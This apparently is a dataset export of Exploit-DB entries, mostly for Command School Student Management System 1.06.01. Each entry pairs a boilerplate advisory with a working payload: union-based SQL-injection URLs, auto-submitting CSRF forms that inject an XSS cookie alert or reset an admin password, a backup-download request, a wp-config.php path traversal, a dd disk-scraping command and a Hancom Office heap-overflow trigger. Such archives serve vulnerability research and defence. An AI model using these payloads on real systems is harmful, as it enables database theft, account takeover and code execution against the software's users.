QLWD/code_shield huggingface dataset:
标题: Command School Student Management System - '/sw/backup/backup_ray2.php' Database Backup Direct Request Information Disclosure EDB-ID: 38956 CVE: 2014-1637 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
            
Command School Student Management System is prone to the following security vulnerabilities:
            
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
            
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
            
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 


##############
VULNERABILITY
##############

/Backup/backup_ray2.php (LINE: 78-126)

-----------------------------------------------------------------------------
// SET THE NAME OF THE BACKUP WITH A TIMESTAMP
$bkup = 'mysql' . date('Ymd\THis') . $db_name . '.txt';
$fp   = fopen($bkup, "w");


// GET THE LIST OF TABLES
$sql = "SHOW TABLES";
$res = mysql_query($sql);
if (!$res) die( mysql_error() );
if (mysql_num_rows($res) == 0) die( "NO TABLES IN $db_name" );
while ($s = mysql_fetch_array($res))
{
    $tables[] = $s[0];
}


// ITERATE OVER THE LIST OF TABLES
foreach ($tables as $table)
{

// WRITE THE DROP TABLE STATEMENT
    fwrite($fp,"DROP TABLE `$table`;\n");

// GET THE CREATE TABLE STATEMENT
    $res = mysql_query("SHOW CREATE TABLE `$table`");
    if (!$res) die( mysql_error() );
    $cre = mysql_fetch_array($res);
    $cre[1] .= ";";
    $txt = str_replace("\n", "", $cre[1]); // FIT EACH QUERY ON ONE LINE
    fwrite($fp, $txt . "\n");

// GET THE TABLE DATA
    $data = mysql_query("SELECT * FROM `$table`");
    $num  = mysql_num_fields($data);
    while ($row = mysql_fetch_array($data))
    {

// MAKE INSERT STATEMENTS FOR ALL THE VALUES
        $txt = "INSERT INTO `$table` VALUES(";
        for ($i=0; $i < $num; $i++)
        {
            $txt .= "'".mysql_real_escape_string($row[$i])."', ";
        }
        $txt = substr($txt, 0, -2);
        fwrite($fp, $txt . ");\n");
    }
}
// ALL DONE
fclose($fp);
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

<html>
<title>Iphobos Blog</title>
<label><a href="http://www.example.com/sw/backup/backup_ray2.php" class="button
white">Backup Download</a></label>
</html> URL: https://www.exploit-db.com/exploits/38956
标题: Command School Student Management System - '/sw/admin_school_names.php?id' SQL Injection EDB-ID: 38954 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
          
Command School Student Management System is prone to the following security vulnerabilities:
          
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
          
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
          
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_school_names.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38954
标题: Command School Student Management System - '/sw/admin_subjects.php?id' SQL Injection EDB-ID: 38955 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
           
Command School Student Management System is prone to the following security vulnerabilities:
           
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
           
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
           
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_subjects.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38955
标题: Command School Student Management System - '/sw/add_topic.php' Cross-Site Request Forgery (Topic Creation) EDB-ID: 38958 CVE: 2014-1915 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
              
Command School Student Management System is prone to the following security vulnerabilities:
              
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
              
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
              
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

[CSRF with XSS Exploit]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://http://www.example.com/sw/add_topic.php">
<input type="hidden" name="topic"
value="<script>alert(document.cookie);</script>" />
<input type="hidden" name="detail" value="Iphobos Blog" />
<input type="hidden" name="Submit" value="Submit" />
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/38958
标题: Command School Student Management System - '/sw/Admin_change_Password.php' Cross-Site Request Forgery (Admin Password Manipulation) EDB-ID: 38957 CVE: 2014-1915 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
             
Command School Student Management System is prone to the following security vulnerabilities:
             
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
             
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
             
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

[Change Password Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://www.example.com/sw/admin_change_password.php">
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="action" value="update" />
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/38957
标题: Command School Student Management System - '/sw/admin_generations.php?id' SQL Injection EDB-ID: 38950 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
      
Command School Student Management System is prone to the following security vulnerabilities:
      
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
      
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
      
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_generations.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38950
标题: Command School Student Management System - '/sw/health_allergies.php?id' SQL Injection EDB-ID: 38953 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
         
Command School Student Management System is prone to the following security vulnerabilities:
         
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
         
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
         
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/health_allergies.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38953
标题: Command School Student Management System - '/sw/admin_grades.php?id' SQL Injection EDB-ID: 38944 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info

Command School Student Management System is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability

Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.

Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_grades.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38944
标题: Command School Student Management System - '/sw/admin_relations.php?id' SQL Injection EDB-ID: 38951 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
       
Command School Student Management System is prone to the following security vulnerabilities:
       
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
       
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
       
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_relations.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38951
标题: Command School Student Management System - '/sw/admin_media_codes_1.php?id' SQL Injection EDB-ID: 38948 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
    
Command School Student Management System is prone to the following security vulnerabilities:
    
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
    
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
    
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_media_codes_1.php?action=edit&id=null+and+1=2+union+select+version(),2,3 URL: https://www.exploit-db.com/exploits/38948
标题: Command School Student Management System - '/sw/admin_infraction_codes.php?id' SQL Injection EDB-ID: 38949 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
     
Command School Student Management System is prone to the following security vulnerabilities:
     
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
     
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
     
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_infraction_codes.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38949
标题: Command School Student Management System - '/sw/admin_terms.php?id' SQL Injection EDB-ID: 38945 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
 
Command School Student Management System is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
 
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
 
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_terms.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38945
标题: Command School Student Management System - '/sw/admin_sgrades.php?id' SQL Injection EDB-ID: 38947 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
   
Command School Student Management System is prone to the following security vulnerabilities:
   
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
   
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
   
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_sgrades.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38947
标题: Command School Student Management System - '/sw/admin_school_years.php?id' SQL Injection EDB-ID: 38946 CVE: 2014-1636 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/64707/info
  
Command School Student Management System is prone to the following security vulnerabilities:
  
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
  
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
  
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/admin_school_years.php?action=edit&id=null+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/38946
标题: WordPress Plugin Advanced Dewplayer - 'download-file.php' Script Directory Traversal EDB-ID: 38936 CVE: 2013-7240 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/64587/info

The Advanced Dewplayer plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

Advanced Dewplayer 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php URL: https://www.exploit-db.com/exploits/38936
标题: Apache Libcloud Digital Ocean API - Local Information Disclosure EDB-ID: 38937 CVE: 2013-6480 类型: LOCAL 平台: LINUX 发布日期: 2014-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/64617/info

Apache Libcloud is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information. Information obtained may lead to further attacks.

Apache Libcloud versions 0.12.3 through 0.13.2 are vulnerable. 

dd if=/dev/vda bs=1M | strings -n 100 > out.txt URL: https://www.exploit-db.com/exploits/38937
标题: CMS Afroditi - 'id' SQL Injection EDB-ID: 38935 CVE: 2013-7278 类型: WEBAPPS 平台: ASP 发布日期: 2013-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/64572/info

CMS Afroditi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Afroditi 1.0 is vulnerable. 

http://www.example.com/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1 URL: https://www.exploit-db.com/exploits/38935
标题: WordPress Core 2.0.11 - '/wp-admin/options-discussion.php' Script Cross-Site Request Forgery EDB-ID: 38924 CVE: 2013-7233 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/64564/info

WordPress is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

WordPress 2.0.11 is vulnerable.

http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1 URL: https://www.exploit-db.com/exploits/38924
标题: JForum 'adminUsers' Module - Cross-Site Request Forgery EDB-ID: 38919 CVE: 2013-7209 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/64540/info

JForum is prone to a cross-site request-forgery vulnerability because the application does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. 

http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2 URL: https://www.exploit-db.com/exploits/38919
标题: Hancom Office - '.hml' File Processing Heap Buffer Overflow EDB-ID: 38910 CVE: 2013-7420 类型: REMOTE 平台: WINDOWS 发布日期: 2013-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/64499/info

Hancom Office is prone to a remote heap-based buffer-overflow vulnerability.

An attacker can exploit this issue by enticing an unsuspecting victim to open a malicious '.hml' document file.

Successful exploits will result in the execution of arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.

Hancom Office 2010 SE 8.5.8 is vulnerable; Other versions may also be affected. 

<TEXTART Text="AAAAAAAA...(more than 500 bytes)" X0="0" X1="14173" X2="14173" X3="0" Y0="0" Y1="0" Y2="14173" Y3="14173"> URL: https://www.exploit-db.com/exploits/38910